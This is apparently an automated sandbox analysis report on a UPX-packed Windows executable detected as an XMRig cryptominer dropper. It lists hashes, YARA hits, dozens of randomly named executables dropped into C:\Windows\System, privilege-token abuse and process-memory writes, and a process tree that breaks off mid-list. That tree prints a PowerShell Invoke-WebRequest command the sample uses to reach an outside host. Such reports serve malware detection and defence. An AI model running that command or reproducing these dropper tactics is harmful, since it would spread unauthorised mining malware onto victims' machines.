xmrig | 7fd086b5c8d02fa2221730f5c5a88b452b7a6bc499d7cbe5a28f55c80f13e01c

Analysis

max time kernel
149s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20240426-en
resource tags

arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system
submitted
29/04/2024, 14:08

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

07d7ea1cdda277dedfc21ad5b8b80568_JaffaCakes118.exe
Size

1.8MB
MD5

07d7ea1cdda277dedfc21ad5b8b80568
SHA1

5edf5f7f08e23d21fdd0d9087fbdd13691565cde
SHA256

7fd086b5c8d02fa2221730f5c5a88b452b7a6bc499d7cbe5a28f55c80f13e01c
SHA512

283cda7a695dcedd2d08ede9522c8be308c9b77b8ba62ff5e49d40a2dac52ca26031ac2f24678bb0562f1374c586734043a5233634d71b7d17e50c44395a7d85
SSDEEP

49152:Lz071uv4BPMkibTIA5sf6r+WVc2HhG82SflDrlE:NABR

Score

10^/10

xmrig miner upx

Malware Config

Signatures

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 42 IoCs

miner

resource	yara_rule
behavioral2/memory/1152-164-0x00007FF693BE0000-0x00007FF693FD2000-memory.dmp	xmrig
behavioral2/memory/4524-122-0x00007FF782A40000-0x00007FF782E32000-memory.dmp	xmrig
behavioral2/memory/2172-119-0x00007FF767570000-0x00007FF767962000-memory.dmp	xmrig
behavioral2/memory/2640-92-0x00007FF63F0A0000-0x00007FF63F492000-memory.dmp	xmrig
behavioral2/memory/1924-308-0x00007FF712570000-0x00007FF712962000-memory.dmp	xmrig
behavioral2/memory/5004-342-0x00007FF77CFA0000-0x00007FF77D392000-memory.dmp	xmrig
behavioral2/memory/3636-373-0x00007FF780D80000-0x00007FF781172000-memory.dmp	xmrig
behavioral2/memory/3056-359-0x00007FF7D9A20000-0x00007FF7D9E12000-memory.dmp	xmrig
behavioral2/memory/228-346-0x00007FF621A80000-0x00007FF621E72000-memory.dmp	xmrig
behavioral2/memory/1560-345-0x00007FF6B10C0000-0x00007FF6B14B2000-memory.dmp	xmrig
behavioral2/memory/3596-307-0x00007FF62BF50000-0x00007FF62C342000-memory.dmp	xmrig
behavioral2/memory/1276-280-0x00007FF7B1E80000-0x00007FF7B2272000-memory.dmp	xmrig
behavioral2/memory/4404-253-0x00007FF6DD350000-0x00007FF6DD742000-memory.dmp	xmrig
behavioral2/memory/5076-252-0x00007FF798400000-0x00007FF7987F2000-memory.dmp	xmrig
behavioral2/memory/3140-239-0x00007FF705860000-0x00007FF705C52000-memory.dmp	xmrig
behavioral2/memory/2464-220-0x00007FF6880E0000-0x00007FF6884D2000-memory.dmp	xmrig
behavioral2/memory/1512-238-0x00007FF7DD900000-0x00007FF7DDCF2000-memory.dmp	xmrig
behavioral2/memory/2892-175-0x00007FF7B02C0000-0x00007FF7B06B2000-memory.dmp	xmrig
behavioral2/memory/3168-174-0x00007FF733700000-0x00007FF733AF2000-memory.dmp	xmrig
behavioral2/memory/4500-78-0x00007FF608FC0000-0x00007FF6093B2000-memory.dmp	xmrig
behavioral2/memory/4876-56-0x00007FF7CCB70000-0x00007FF7CCF62000-memory.dmp	xmrig
behavioral2/memory/5004-6027-0x00007FF77CFA0000-0x00007FF77D392000-memory.dmp	xmrig
behavioral2/memory/4500-6032-0x00007FF608FC0000-0x00007FF6093B2000-memory.dmp	xmrig
behavioral2/memory/4876-6036-0x00007FF7CCB70000-0x00007FF7CCF62000-memory.dmp	xmrig
behavioral2/memory/3168-6041-0x00007FF733700000-0x00007FF733AF2000-memory.dmp	xmrig
behavioral2/memory/2892-6044-0x00007FF7B02C0000-0x00007FF7B06B2000-memory.dmp	xmrig
behavioral2/memory/2172-6053-0x00007FF767570000-0x00007FF767962000-memory.dmp	xmrig
behavioral2/memory/2640-6050-0x00007FF63F0A0000-0x00007FF63F492000-memory.dmp	xmrig
behavioral2/memory/1152-6059-0x00007FF693BE0000-0x00007FF693FD2000-memory.dmp	xmrig
behavioral2/memory/3056-6056-0x00007FF7D9A20000-0x00007FF7D9E12000-memory.dmp	xmrig
behavioral2/memory/4524-6063-0x00007FF782A40000-0x00007FF782E32000-memory.dmp	xmrig
behavioral2/memory/1560-6070-0x00007FF6B10C0000-0x00007FF6B14B2000-memory.dmp	xmrig
behavioral2/memory/2464-6076-0x00007FF6880E0000-0x00007FF6884D2000-memory.dmp	xmrig
behavioral2/memory/1512-6078-0x00007FF7DD900000-0x00007FF7DDCF2000-memory.dmp	xmrig
behavioral2/memory/3636-6117-0x00007FF780D80000-0x00007FF781172000-memory.dmp	xmrig
behavioral2/memory/1276-6102-0x00007FF7B1E80000-0x00007FF7B2272000-memory.dmp	xmrig
behavioral2/memory/1924-6108-0x00007FF712570000-0x00007FF712962000-memory.dmp	xmrig
behavioral2/memory/5076-6100-0x00007FF798400000-0x00007FF7987F2000-memory.dmp	xmrig
behavioral2/memory/4404-6087-0x00007FF6DD350000-0x00007FF6DD742000-memory.dmp	xmrig
behavioral2/memory/3596-6090-0x00007FF62BF50000-0x00007FF62C342000-memory.dmp	xmrig
behavioral2/memory/228-6081-0x00007FF621A80000-0x00007FF621E72000-memory.dmp	xmrig
behavioral2/memory/3140-6083-0x00007FF705860000-0x00007FF705C52000-memory.dmp	xmrig

Blocklisted process makes network request 2 IoCs

flow	pid	Process
3	632	powershell.exe
5	632	powershell.exe

Executes dropped EXE 64 IoCs

pid	Process
5004	yOMZUqQ.exe
4876	uExFXVR.exe
4500	wMaIuqW.exe
2640	VNuNeej.exe
2172	pSAUuTq.exe
4524	cFtKDyi.exe
1152	KYMFbhp.exe
3168	OsqSnLG.exe
2892	hOYuCiy.exe
1560	yLEeEVZ.exe
2464	btlfdgE.exe
1512	dyPBzII.exe
3140	dEdLRop.exe
5076	mgaficZ.exe
4404	mpqtHxW.exe
228	pZzOJoJ.exe
3056	kaGKNFh.exe
1276	mcTRBAM.exe
3596	UFthnAf.exe
1924	bupQMVo.exe
3636	eqpyVbi.exe
4464	gmRvWKF.exe
3268	lZumKdk.exe
532	OtgCWPh.exe
836	MuiLdOq.exe
3012	NvbVlFX.exe
3440	GlAtmCr.exe
3612	JDkxoby.exe
2404	UZqlZRO.exe
4540	ofKbpyo.exe
2268	CauqbWf.exe
4828	kzdUHDl.exe
3948	UvJyfcV.exe
4740	KPkrJCR.exe
3344	CknOSJw.exe
1556	SqdxEdJ.exe
468	sJmNnpL.exe
3856	kiWFuCW.exe
740	VwXYivg.exe
4588	iVkdrPX.exe
5092	OOHyGRp.exe
3808	vyxzGiE.exe
4412	NCpatAp.exe
5024	FETMdty.exe
2328	OeYoPOj.exe
3648	KUUuEXV.exe
4656	jVeqpyW.exe
1144	BXuHhHH.exe
4388	ESdLfsi.exe
4960	hXTvnoC.exe
2292	rFqpFGS.exe
4892	nExkcEZ.exe
3600	nitPurH.exe
3080	rREieMz.exe
4428	xjQGCdf.exe
1684	cVpsevk.exe
4888	SGjGuEP.exe
400	zZcItkm.exe
3364	zMstGly.exe
444	nIxEYbG.exe
4772	cUGpulN.exe
324	eCfTlEV.exe
3616	dJbYBMC.exe
5068	sAAnLpb.exe

UPX packed file 64 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/220-0-0x00007FF6B64E0000-0x00007FF6B68D2000-memory.dmp	upx
behavioral2/files/0x0007000000023400-6.dat	upx
behavioral2/files/0x00080000000233ff-10.dat	upx
behavioral2/files/0x0007000000023404-34.dat	upx
behavioral2/files/0x000700000002340f-81.dat	upx
behavioral2/files/0x0007000000023425-173.dat	upx
behavioral2/files/0x0007000000023424-172.dat	upx
behavioral2/files/0x0007000000023421-169.dat	upx
behavioral2/files/0x0007000000023420-168.dat	upx
behavioral2/files/0x000700000002341f-167.dat	upx
behavioral2/files/0x000700000002341e-166.dat	upx
behavioral2/memory/1152-164-0x00007FF693BE0000-0x00007FF693FD2000-memory.dmp	upx
behavioral2/files/0x000700000002341d-162.dat	upx
behavioral2/files/0x000700000002341c-160.dat	upx
behavioral2/files/0x0007000000023415-154.dat	upx
behavioral2/files/0x000700000002341b-153.dat	upx
behavioral2/files/0x0007000000023414-150.dat	upx
behavioral2/files/0x0007000000023410-146.dat	upx
behavioral2/files/0x000700000002340b-142.dat	upx
behavioral2/files/0x0007000000023411-138.dat	upx
behavioral2/files/0x000700000002340d-135.dat	upx
behavioral2/files/0x000700000002340c-133.dat	upx
behavioral2/files/0x000700000002340e-131.dat	upx
behavioral2/files/0x000700000002340a-129.dat	upx
behavioral2/files/0x000700000002341a-128.dat	upx
behavioral2/files/0x0007000000023419-127.dat	upx
behavioral2/files/0x0007000000023418-126.dat	upx
behavioral2/files/0x0007000000023412-125.dat	upx
behavioral2/files/0x0007000000023417-124.dat	upx
behavioral2/files/0x0007000000023423-171.dat	upx
behavioral2/files/0x0007000000023422-170.dat	upx
behavioral2/memory/4524-122-0x00007FF782A40000-0x00007FF782E32000-memory.dmp	upx
behavioral2/memory/2172-119-0x00007FF767570000-0x00007FF767962000-memory.dmp	upx
behavioral2/files/0x0007000000023409-112.dat	upx
behavioral2/files/0x0007000000023413-110.dat	upx
behavioral2/files/0x0007000000023408-103.dat	upx
behavioral2/files/0x0007000000023416-123.dat	upx
behavioral2/memory/2640-92-0x00007FF63F0A0000-0x00007FF63F492000-memory.dmp	upx
behavioral2/files/0x0007000000023407-97.dat	upx
behavioral2/memory/1924-308-0x00007FF712570000-0x00007FF712962000-memory.dmp	upx
behavioral2/memory/5004-342-0x00007FF77CFA0000-0x00007FF77D392000-memory.dmp	upx
behavioral2/memory/3636-373-0x00007FF780D80000-0x00007FF781172000-memory.dmp	upx
behavioral2/memory/3056-359-0x00007FF7D9A20000-0x00007FF7D9E12000-memory.dmp	upx
behavioral2/memory/228-346-0x00007FF621A80000-0x00007FF621E72000-memory.dmp	upx
behavioral2/memory/1560-345-0x00007FF6B10C0000-0x00007FF6B14B2000-memory.dmp	upx
behavioral2/memory/3596-307-0x00007FF62BF50000-0x00007FF62C342000-memory.dmp	upx
behavioral2/memory/1276-280-0x00007FF7B1E80000-0x00007FF7B2272000-memory.dmp	upx
behavioral2/memory/4404-253-0x00007FF6DD350000-0x00007FF6DD742000-memory.dmp	upx
behavioral2/memory/5076-252-0x00007FF798400000-0x00007FF7987F2000-memory.dmp	upx
behavioral2/memory/3140-239-0x00007FF705860000-0x00007FF705C52000-memory.dmp	upx
behavioral2/memory/2464-220-0x00007FF6880E0000-0x00007FF6884D2000-memory.dmp	upx
behavioral2/memory/1512-238-0x00007FF7DD900000-0x00007FF7DDCF2000-memory.dmp	upx
behavioral2/memory/2892-175-0x00007FF7B02C0000-0x00007FF7B06B2000-memory.dmp	upx
behavioral2/memory/3168-174-0x00007FF733700000-0x00007FF733AF2000-memory.dmp	upx
behavioral2/memory/4500-78-0x00007FF608FC0000-0x00007FF6093B2000-memory.dmp	upx
behavioral2/files/0x0007000000023403-77.dat	upx
behavioral2/files/0x0007000000023402-59.dat	upx
behavioral2/memory/4876-56-0x00007FF7CCB70000-0x00007FF7CCF62000-memory.dmp	upx
behavioral2/files/0x0007000000023406-47.dat	upx
behavioral2/files/0x0007000000023405-39.dat	upx
behavioral2/files/0x0007000000023401-24.dat	upx
behavioral2/files/0x00080000000233fc-15.dat	upx
behavioral2/memory/5004-6027-0x00007FF77CFA0000-0x00007FF77D392000-memory.dmp	upx
behavioral2/memory/4500-6032-0x00007FF608FC0000-0x00007FF6093B2000-memory.dmp	upx

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
2	raw.githubusercontent.com
3	raw.githubusercontent.com

Drops file in Windows directory 64 IoCs

description	ioc	Process
File created	C:\Windows\System\BcYBibA.exe	07d7ea1cdda277dedfc21ad5b8b80568_JaffaCakes118.exe
File created	C:\Windows\System\lCAnXOD.exe	07d7ea1cdda277dedfc21ad5b8b80568_JaffaCakes118.exe
File created	C:\Windows\System\wgkKSPX.exe	07d7ea1cdda277dedfc21ad5b8b80568_JaffaCakes118.exe
File created	C:\Windows\System\BTrTtfJ.exe	07d7ea1cdda277dedfc21ad5b8b80568_JaffaCakes118.exe
File created	C:\Windows\System\IRDbtqG.exe	07d7ea1cdda277dedfc21ad5b8b80568_JaffaCakes118.exe
File created	C:\Windows\System\rLQoIPo.exe	07d7ea1cdda277dedfc21ad5b8b80568_JaffaCakes118.exe
File created	C:\Windows\System\ILacKTW.exe	07d7ea1cdda277dedfc21ad5b8b80568_JaffaCakes118.exe
File created	C:\Windows\System\UBEyQHv.exe	07d7ea1cdda277dedfc21ad5b8b80568_JaffaCakes118.exe
File created	C:\Windows\System\dGLQMbx.exe	07d7ea1cdda277dedfc21ad5b8b80568_JaffaCakes118.exe
File created	C:\Windows\System\qrFMdHy.exe	07d7ea1cdda277dedfc21ad5b8b80568_JaffaCakes118.exe
File created	C:\Windows\System\QWzaQCj.exe	07d7ea1cdda277dedfc21ad5b8b80568_JaffaCakes118.exe
File created	C:\Windows\System\ITfudEj.exe	07d7ea1cdda277dedfc21ad5b8b80568_JaffaCakes118.exe
File created	C:\Windows\System\yZanrPq.exe	07d7ea1cdda277dedfc21ad5b8b80568_JaffaCakes118.exe
File created	C:\Windows\System\iYwdPjW.exe	07d7ea1cdda277dedfc21ad5b8b80568_JaffaCakes118.exe
File created	C:\Windows\System\NrBAwGg.exe	07d7ea1cdda277dedfc21ad5b8b80568_JaffaCakes118.exe
File created	C:\Windows\System\rXviHOR.exe	07d7ea1cdda277dedfc21ad5b8b80568_JaffaCakes118.exe
File created	C:\Windows\System\QmyLESk.exe	07d7ea1cdda277dedfc21ad5b8b80568_JaffaCakes118.exe
File created	C:\Windows\System\xdtBhUp.exe	07d7ea1cdda277dedfc21ad5b8b80568_JaffaCakes118.exe
File created	C:\Windows\System\vvGncLi.exe	07d7ea1cdda277dedfc21ad5b8b80568_JaffaCakes118.exe
File created	C:\Windows\System\cyxgaNs.exe	07d7ea1cdda277dedfc21ad5b8b80568_JaffaCakes118.exe
File created	C:\Windows\System\ofhItAG.exe	07d7ea1cdda277dedfc21ad5b8b80568_JaffaCakes118.exe
File created	C:\Windows\System\UImFBqN.exe	07d7ea1cdda277dedfc21ad5b8b80568_JaffaCakes118.exe
File created	C:\Windows\System\EWpwfkL.exe	07d7ea1cdda277dedfc21ad5b8b80568_JaffaCakes118.exe
File created	C:\Windows\System\fCieOHN.exe	07d7ea1cdda277dedfc21ad5b8b80568_JaffaCakes118.exe
File created	C:\Windows\System\ppnkbOn.exe	07d7ea1cdda277dedfc21ad5b8b80568_JaffaCakes118.exe
File created	C:\Windows\System\mnZzbzR.exe	07d7ea1cdda277dedfc21ad5b8b80568_JaffaCakes118.exe
File created	C:\Windows\System\pHLNcOf.exe	07d7ea1cdda277dedfc21ad5b8b80568_JaffaCakes118.exe
File created	C:\Windows\System\RrWBczb.exe	07d7ea1cdda277dedfc21ad5b8b80568_JaffaCakes118.exe
File created	C:\Windows\System\xtuJXzs.exe	07d7ea1cdda277dedfc21ad5b8b80568_JaffaCakes118.exe
File created	C:\Windows\System\SIZMPfz.exe	07d7ea1cdda277dedfc21ad5b8b80568_JaffaCakes118.exe
File created	C:\Windows\System\qscNDdH.exe	07d7ea1cdda277dedfc21ad5b8b80568_JaffaCakes118.exe
File created	C:\Windows\System\odzIaIQ.exe	07d7ea1cdda277dedfc21ad5b8b80568_JaffaCakes118.exe
File created	C:\Windows\System\PZuLKId.exe	07d7ea1cdda277dedfc21ad5b8b80568_JaffaCakes118.exe
File created	C:\Windows\System\LzYkqxe.exe	07d7ea1cdda277dedfc21ad5b8b80568_JaffaCakes118.exe
File created	C:\Windows\System\yLapBgO.exe	07d7ea1cdda277dedfc21ad5b8b80568_JaffaCakes118.exe
File created	C:\Windows\System\gxohmDG.exe	07d7ea1cdda277dedfc21ad5b8b80568_JaffaCakes118.exe
File created	C:\Windows\System\XpJNgnB.exe	07d7ea1cdda277dedfc21ad5b8b80568_JaffaCakes118.exe
File created	C:\Windows\System\KDMsLuS.exe	07d7ea1cdda277dedfc21ad5b8b80568_JaffaCakes118.exe
File created	C:\Windows\System\WHPDRYF.exe	07d7ea1cdda277dedfc21ad5b8b80568_JaffaCakes118.exe
File created	C:\Windows\System\NhsqcGJ.exe	07d7ea1cdda277dedfc21ad5b8b80568_JaffaCakes118.exe
File created	C:\Windows\System\mgLHGws.exe	07d7ea1cdda277dedfc21ad5b8b80568_JaffaCakes118.exe
File created	C:\Windows\System\fqqkMbf.exe	07d7ea1cdda277dedfc21ad5b8b80568_JaffaCakes118.exe
File created	C:\Windows\System\gXIaPNH.exe	07d7ea1cdda277dedfc21ad5b8b80568_JaffaCakes118.exe
File created	C:\Windows\System\tOeHTJF.exe	07d7ea1cdda277dedfc21ad5b8b80568_JaffaCakes118.exe
File created	C:\Windows\System\TyaLIlL.exe	07d7ea1cdda277dedfc21ad5b8b80568_JaffaCakes118.exe
File created	C:\Windows\System\gzdOdcr.exe	07d7ea1cdda277dedfc21ad5b8b80568_JaffaCakes118.exe
File created	C:\Windows\System\YVuQqkH.exe	07d7ea1cdda277dedfc21ad5b8b80568_JaffaCakes118.exe
File created	C:\Windows\System\xCIozpT.exe	07d7ea1cdda277dedfc21ad5b8b80568_JaffaCakes118.exe
File created	C:\Windows\System\yLlQKGZ.exe	07d7ea1cdda277dedfc21ad5b8b80568_JaffaCakes118.exe
File created	C:\Windows\System\jvLwfxi.exe	07d7ea1cdda277dedfc21ad5b8b80568_JaffaCakes118.exe
File created	C:\Windows\System\uQtGBis.exe	07d7ea1cdda277dedfc21ad5b8b80568_JaffaCakes118.exe
File created	C:\Windows\System\VNPqQBC.exe	07d7ea1cdda277dedfc21ad5b8b80568_JaffaCakes118.exe
File created	C:\Windows\System\WRWLzfS.exe	07d7ea1cdda277dedfc21ad5b8b80568_JaffaCakes118.exe
File created	C:\Windows\System\QrrgPAL.exe	07d7ea1cdda277dedfc21ad5b8b80568_JaffaCakes118.exe
File created	C:\Windows\System\SlRtYQm.exe	07d7ea1cdda277dedfc21ad5b8b80568_JaffaCakes118.exe
File created	C:\Windows\System\MRPbJnA.exe	07d7ea1cdda277dedfc21ad5b8b80568_JaffaCakes118.exe
File created	C:\Windows\System\yGiQYws.exe	07d7ea1cdda277dedfc21ad5b8b80568_JaffaCakes118.exe
File created	C:\Windows\System\itHzgCb.exe	07d7ea1cdda277dedfc21ad5b8b80568_JaffaCakes118.exe
File created	C:\Windows\System\PhUyYuO.exe	07d7ea1cdda277dedfc21ad5b8b80568_JaffaCakes118.exe
File created	C:\Windows\System\EkOWdRx.exe	07d7ea1cdda277dedfc21ad5b8b80568_JaffaCakes118.exe
File created	C:\Windows\System\emerXUc.exe	07d7ea1cdda277dedfc21ad5b8b80568_JaffaCakes118.exe
File created	C:\Windows\System\KxGrHbR.exe	07d7ea1cdda277dedfc21ad5b8b80568_JaffaCakes118.exe
File created	C:\Windows\System\GNvCvxo.exe	07d7ea1cdda277dedfc21ad5b8b80568_JaffaCakes118.exe
File created	C:\Windows\System\xUsiipf.exe	07d7ea1cdda277dedfc21ad5b8b80568_JaffaCakes118.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
632	powershell.exe
632	powershell.exe
632	powershell.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

description	pid	Process
Token: SeLockMemoryPrivilege	220	07d7ea1cdda277dedfc21ad5b8b80568_JaffaCakes118.exe
Token: SeLockMemoryPrivilege	220	07d7ea1cdda277dedfc21ad5b8b80568_JaffaCakes118.exe
Token: SeDebugPrivilege	632	powershell.exe
Token: SeLockMemoryPrivilege	9212	FEZqSJw.exe
Token: SeLockMemoryPrivilege	9212	FEZqSJw.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 220 wrote to memory of 632	220	07d7ea1cdda277dedfc21ad5b8b80568_JaffaCakes118.exe	83
PID 220 wrote to memory of 632	220	07d7ea1cdda277dedfc21ad5b8b80568_JaffaCakes118.exe	83
PID 220 wrote to memory of 5004	220	07d7ea1cdda277dedfc21ad5b8b80568_JaffaCakes118.exe	84
PID 220 wrote to memory of 5004	220	07d7ea1cdda277dedfc21ad5b8b80568_JaffaCakes118.exe	84
PID 220 wrote to memory of 4876	220	07d7ea1cdda277dedfc21ad5b8b80568_JaffaCakes118.exe	85
PID 220 wrote to memory of 4876	220	07d7ea1cdda277dedfc21ad5b8b80568_JaffaCakes118.exe	85
PID 220 wrote to memory of 2640	220	07d7ea1cdda277dedfc21ad5b8b80568_JaffaCakes118.exe	86
PID 220 wrote to memory of 2640	220	07d7ea1cdda277dedfc21ad5b8b80568_JaffaCakes118.exe	86
PID 220 wrote to memory of 4500	220	07d7ea1cdda277dedfc21ad5b8b80568_JaffaCakes118.exe	87
PID 220 wrote to memory of 4500	220	07d7ea1cdda277dedfc21ad5b8b80568_JaffaCakes118.exe	87
PID 220 wrote to memory of 2172	220	07d7ea1cdda277dedfc21ad5b8b80568_JaffaCakes118.exe	88
PID 220 wrote to memory of 2172	220	07d7ea1cdda277dedfc21ad5b8b80568_JaffaCakes118.exe	88
PID 220 wrote to memory of 4524	220	07d7ea1cdda277dedfc21ad5b8b80568_JaffaCakes118.exe	89
PID 220 wrote to memory of 4524	220	07d7ea1cdda277dedfc21ad5b8b80568_JaffaCakes118.exe	89
PID 220 wrote to memory of 1152	220	07d7ea1cdda277dedfc21ad5b8b80568_JaffaCakes118.exe	90
PID 220 wrote to memory of 1152	220	07d7ea1cdda277dedfc21ad5b8b80568_JaffaCakes118.exe	90
PID 220 wrote to memory of 3168	220	07d7ea1cdda277dedfc21ad5b8b80568_JaffaCakes118.exe	91
PID 220 wrote to memory of 3168	220	07d7ea1cdda277dedfc21ad5b8b80568_JaffaCakes118.exe	91
PID 220 wrote to memory of 2892	220	07d7ea1cdda277dedfc21ad5b8b80568_JaffaCakes118.exe	92
PID 220 wrote to memory of 2892	220	07d7ea1cdda277dedfc21ad5b8b80568_JaffaCakes118.exe	92
PID 220 wrote to memory of 1560	220	07d7ea1cdda277dedfc21ad5b8b80568_JaffaCakes118.exe	93
PID 220 wrote to memory of 1560	220	07d7ea1cdda277dedfc21ad5b8b80568_JaffaCakes118.exe	93
PID 220 wrote to memory of 2464	220	07d7ea1cdda277dedfc21ad5b8b80568_JaffaCakes118.exe	94
PID 220 wrote to memory of 2464	220	07d7ea1cdda277dedfc21ad5b8b80568_JaffaCakes118.exe	94
PID 220 wrote to memory of 1512	220	07d7ea1cdda277dedfc21ad5b8b80568_JaffaCakes118.exe	95
PID 220 wrote to memory of 1512	220	07d7ea1cdda277dedfc21ad5b8b80568_JaffaCakes118.exe	95
PID 220 wrote to memory of 3140	220	07d7ea1cdda277dedfc21ad5b8b80568_JaffaCakes118.exe	96
PID 220 wrote to memory of 3140	220	07d7ea1cdda277dedfc21ad5b8b80568_JaffaCakes118.exe	96
PID 220 wrote to memory of 5076	220	07d7ea1cdda277dedfc21ad5b8b80568_JaffaCakes118.exe	97
PID 220 wrote to memory of 5076	220	07d7ea1cdda277dedfc21ad5b8b80568_JaffaCakes118.exe	97
PID 220 wrote to memory of 4404	220	07d7ea1cdda277dedfc21ad5b8b80568_JaffaCakes118.exe	98
PID 220 wrote to memory of 4404	220	07d7ea1cdda277dedfc21ad5b8b80568_JaffaCakes118.exe	98
PID 220 wrote to memory of 3596	220	07d7ea1cdda277dedfc21ad5b8b80568_JaffaCakes118.exe	99
PID 220 wrote to memory of 3596	220	07d7ea1cdda277dedfc21ad5b8b80568_JaffaCakes118.exe	99
PID 220 wrote to memory of 228	220	07d7ea1cdda277dedfc21ad5b8b80568_JaffaCakes118.exe	100
PID 220 wrote to memory of 228	220	07d7ea1cdda277dedfc21ad5b8b80568_JaffaCakes118.exe	100
PID 220 wrote to memory of 3056	220	07d7ea1cdda277dedfc21ad5b8b80568_JaffaCakes118.exe	101
PID 220 wrote to memory of 3056	220	07d7ea1cdda277dedfc21ad5b8b80568_JaffaCakes118.exe	101
PID 220 wrote to memory of 1276	220	07d7ea1cdda277dedfc21ad5b8b80568_JaffaCakes118.exe	102
PID 220 wrote to memory of 1276	220	07d7ea1cdda277dedfc21ad5b8b80568_JaffaCakes118.exe	102
PID 220 wrote to memory of 1924	220	07d7ea1cdda277dedfc21ad5b8b80568_JaffaCakes118.exe	103
PID 220 wrote to memory of 1924	220	07d7ea1cdda277dedfc21ad5b8b80568_JaffaCakes118.exe	103
PID 220 wrote to memory of 836	220	07d7ea1cdda277dedfc21ad5b8b80568_JaffaCakes118.exe	104
PID 220 wrote to memory of 836	220	07d7ea1cdda277dedfc21ad5b8b80568_JaffaCakes118.exe	104
PID 220 wrote to memory of 3636	220	07d7ea1cdda277dedfc21ad5b8b80568_JaffaCakes118.exe	105
PID 220 wrote to memory of 3636	220	07d7ea1cdda277dedfc21ad5b8b80568_JaffaCakes118.exe	105
PID 220 wrote to memory of 2404	220	07d7ea1cdda277dedfc21ad5b8b80568_JaffaCakes118.exe	106
PID 220 wrote to memory of 2404	220	07d7ea1cdda277dedfc21ad5b8b80568_JaffaCakes118.exe	106
PID 220 wrote to memory of 4464	220	07d7ea1cdda277dedfc21ad5b8b80568_JaffaCakes118.exe	107
PID 220 wrote to memory of 4464	220	07d7ea1cdda277dedfc21ad5b8b80568_JaffaCakes118.exe	107
PID 220 wrote to memory of 3268	220	07d7ea1cdda277dedfc21ad5b8b80568_JaffaCakes118.exe	108
PID 220 wrote to memory of 3268	220	07d7ea1cdda277dedfc21ad5b8b80568_JaffaCakes118.exe	108
PID 220 wrote to memory of 532	220	07d7ea1cdda277dedfc21ad5b8b80568_JaffaCakes118.exe	109
PID 220 wrote to memory of 532	220	07d7ea1cdda277dedfc21ad5b8b80568_JaffaCakes118.exe	109
PID 220 wrote to memory of 3012	220	07d7ea1cdda277dedfc21ad5b8b80568_JaffaCakes118.exe	110
PID 220 wrote to memory of 3012	220	07d7ea1cdda277dedfc21ad5b8b80568_JaffaCakes118.exe	110
PID 220 wrote to memory of 3440	220	07d7ea1cdda277dedfc21ad5b8b80568_JaffaCakes118.exe	111
PID 220 wrote to memory of 3440	220	07d7ea1cdda277dedfc21ad5b8b80568_JaffaCakes118.exe	111
PID 220 wrote to memory of 3612	220	07d7ea1cdda277dedfc21ad5b8b80568_JaffaCakes118.exe	112
PID 220 wrote to memory of 3612	220	07d7ea1cdda277dedfc21ad5b8b80568_JaffaCakes118.exe	112
PID 220 wrote to memory of 4540	220	07d7ea1cdda277dedfc21ad5b8b80568_JaffaCakes118.exe	113
PID 220 wrote to memory of 4540	220	07d7ea1cdda277dedfc21ad5b8b80568_JaffaCakes118.exe	113
PID 220 wrote to memory of 2268	220	07d7ea1cdda277dedfc21ad5b8b80568_JaffaCakes118.exe	114
PID 220 wrote to memory of 2268	220	07d7ea1cdda277dedfc21ad5b8b80568_JaffaCakes118.exe	114

C:\Users\Admin\AppData\Local\Temp\07d7ea1cdda277dedfc21ad5b8b80568_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\07d7ea1cdda277dedfc21ad5b8b80568_JaffaCakes118.exe"
1⤵
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:220
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -command "Invoke-WebRequest "https://raw.githubusercontent.com/" "
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:632
- C:\Windows\System\yOMZUqQ.exe
  C:\Windows\System\yOMZUqQ.exe
  2⤵
  - Executes dropped EXE
  PID:5004
- C:\Windows\System\uExFXVR.exe
  C:\Windows\System\uExFXVR.exe
  2⤵
  - Executes dropped EXE
  PID:4876
- C:\Windows\System\VNuNeej.exe
  C:\Windows\System\VNuNeej.exe
  2⤵
  - Executes dropped EXE
  PID:2640
- C:\Windows\System\wMaIuqW.exe
  C:\Windows\System\wMaIuqW.exe
  2⤵
  - Executes dropped EXE
  PID:4500
- C:\Windows\System\pSAUuTq.exe
  C:\Windows\System\pSAUuTq.exe
  2⤵
  - Executes dropped EXE
  PID:2172
- C:\Windows\System\cFtKDyi.exe
  C:\Windows\System\cFtKDyi.exe
  2⤵
  - Executes dropped EXE
  PID:4524
- C:\Windows\System\KYMFbhp.exe
  C:\Windows\System\KYMFbhp.exe
  2⤵
  - Executes dropped EXE
  PID:1152
- C:\Windows\System\OsqSnLG.exe
  C:\Windows\System\OsqSnLG.exe
  2⤵
  - Executes dropped EXE
  PID:3168
- C:\Windows\System\hOYuCiy.exe
  C:\Windows\System\hOYuCiy.exe
  2⤵
  - Executes dropped EXE
  PID:2892
- C:\Windows\System\yLEeEVZ.exe
  C:\Windows\System\yLEeEVZ.exe
  2⤵
  - Executes dropped EXE
  PID:1560
- C:\Windows\System\btlfdgE.exe
  C:\Windows\System\btlfdgE.exe
  2⤵
  - Executes dropped EXE
  PID:2464
- C:\Windows\System\dyPBzII.exe
  C:\Windows\System\dyPBzII.exe
  2⤵
  - Executes dropped EXE
  PID:1512
- C:\Windows\System\dEdLRop.exe
  C:\Windows\System\dEdLRop.exe
  2⤵
  - Executes dropped EXE
  PID:3140
- C:\Windows\System\mgaficZ.exe
  C:\Windows\System\mgaficZ.exe
  2⤵
  - Executes dropped EXE
  PID:5076
- C:\Windows\System\mpqtHxW.exe
  C:\Windows\System\mpqtHxW.exe
  2⤵
  - Executes dropped EXE
  PID:4404
- C:\Windows\System\UFthnAf.exe
  C:\Windows\System\UFthnAf.exe
  2⤵
  - Executes dropped EXE
  PID:3596
- C:\Windows\System\pZzOJoJ.exe
